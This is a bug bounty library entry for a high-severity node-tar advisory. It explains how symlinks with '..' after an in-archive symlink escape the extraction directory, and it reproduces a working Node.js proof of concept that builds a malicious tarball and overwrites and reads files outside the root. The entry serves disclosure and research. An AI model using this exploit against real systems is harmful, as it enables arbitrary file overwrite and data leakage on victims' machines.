# node-tar: Symlink linkpath escape check is lexical: '..' after an in-archive symlink creates symlinks outside the extraction directory

node-tar's lexical symlink linkpath check lets an archive create symlinks whose '..' after an in-archive symlink resolves outside the extraction directory, enabling symlink poisoning.

- Payout: Research
- Severity: high
- Program: node-tar
- Found by: hgrgr
- Disclosed: 2026-12-02
- CVE: CVE-2026-140247
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-gvrf-jx37-rjv5
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-gvrf-jx37-rjv5
- Tags: area:oss domain:oss impact:data-leak impact:integrity kind:research platform:ghsa sev:high tech:nodejs technique:incomplete-fix technique:source-review vuln:path-traversal

**Target:** npm tar package extraction (tar.x / Unpack / UnpackSync)
**Root cause:** The linkpath escape check is purely lexical: path.posix.normalize collapses 'l1/..' before any lstat, so an existing in-archive symlink component is never inspected, while the kernel resolves 'l1/..' as '<target of l1>/..'.
**Steps:**
1. Build archive with SymbolicLink entries: `l1 -> .`, `esc -> l1/../outside.txt`, `escdir -> l1/..`
2. Extract with default options: `await tar.x({ cwd: 'root/extract', file: 'evil.tar' })`
3. Write to `root/extract/esc` and observe `root/outside.txt` overwritten
4. Read `root/extract/escdir/secret.txt` to reach the parent of cwd
5. Deeper variant: `p/q/r/s -> ../../..` then `x -> p/q/r/s/../../../victim.txt` reaches three levels above cwd
**How found:** Variant analysis of prior GHSA-83g3/8qq5/9ppj fixes: noticed the check normalizes linkpath lexically before lstat, so a '..' following an in-archive symlink is collapsed and the symlink component never inspected; verified the step-2 symlink of the GHSA-83g3 chain still escapes on 7.5.23.
**Exploitation:** Attacker supplies a tarball; victim extracts with default options. Planted symlinks inside the extraction dir point outside it; any subsequent read/write of the extracted tree by the application (serving files, reading manifests, writing build output) reaches outside the root with the extracting user's privileges.
**Escalation:** Depth of escape controlled by number of in-archive directories; chained with application file operations on the extracted tree for arbitrary read/write.
**Insight:** When auditing archive extractors, test '..' segments that follow a symlink created earlier in the same archive: lexical normalization hides the symlink component from the check while the kernel resolves it through the link target. Also re-test prior advisory PoCs step-by-step, since fixes often block only the final step.

## Proof of concept (copied exactly from the original report)

**Archive builder with symlink '..' escape entries**

```
const fs = require('fs'), tar = require('tar')
   const hdr = (p, l) => { const b = Buffer.alloc(512); new tar.Header({ path: p, type: 'SymbolicLink', linkpath: l }).encode(b, 0); return b }
   fs.writeFileSync('evil.tar', Buffer.concat([hdr('l1', '.'), hdr('esc', 'l1/../outside.txt'), hdr('escdir', 'l1/..'), Buffer.alloc(1024)]))
   fs.writeFileSync('control.tar', Buffer.concat([hdr('esc', '../outside.txt'), Buffer.alloc(1024)]))
```

**Extraction proving outside write and read**

```
fs.mkdirSync('root/extract', { recursive: true })
   fs.writeFileSync('root/outside.txt', 'ORIGINAL\n'); fs.writeFileSync('root/secret.txt', 'DUMMY-SECRET\n')
   await tar.x({ cwd: 'root/extract', file: 'evil.tar' })          // same with sync: true
   fs.writeFileSync('root/extract/esc', 'PWNED\n')
   console.log(fs.readFileSync('root/outside.txt', 'utf8'))              // PWNED
   console.log(fs.readFileSync('root/extract/escdir/secret.txt', 'utf8')) // DUMMY-SECRET
```

